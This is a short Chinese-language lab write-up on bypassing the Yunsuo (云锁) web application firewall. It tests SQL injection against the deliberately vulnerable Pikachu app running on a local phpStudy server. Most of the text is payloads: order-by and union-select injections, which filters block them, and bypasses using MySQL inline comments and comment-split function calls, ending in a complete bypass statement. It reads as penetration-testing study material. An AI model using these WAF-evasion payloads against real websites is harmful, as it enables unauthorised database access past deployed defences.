实验环境
云锁官网
https://www.yunsuo.com.cn/
下载的是公有云版本 云锁服务器端Windows版本
搭建的服务器是phpstudy版本的 Apache+mysql
使用的漏洞集成是pikachu的字符型SQL注入
漏洞页面
http://192.168.17.13/pikachu/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2

判断当前字段数
payload: kobe’ order by 2 –+
and 1=1 –+ 不拦截
and 1=2 –+  不拦截
order by 拦截了 

使用内联注入 /!100001by/ /!500005by/
bypass: kobe’ order /!10001by/2

判断显示位置
kobe’ and 1=2 union select 1,2 –+
拦截了union select

union 不拦截
select 不拦截
union select  拦截
union 字符 select 拦截
union /select/ 不拦截 
bypass: kobe’ and 1=2 union /!10000all select/ 1,2  kobe’ and 1=2 union /!50000all select/ 1,2
显示的位置为1和2

拦截了database() ,use()
bypass:database/**/() user/**/()
完整的bypass语句:kobe’ and 1=2 union /!50001all select/ database/**/(),user/**/() –+
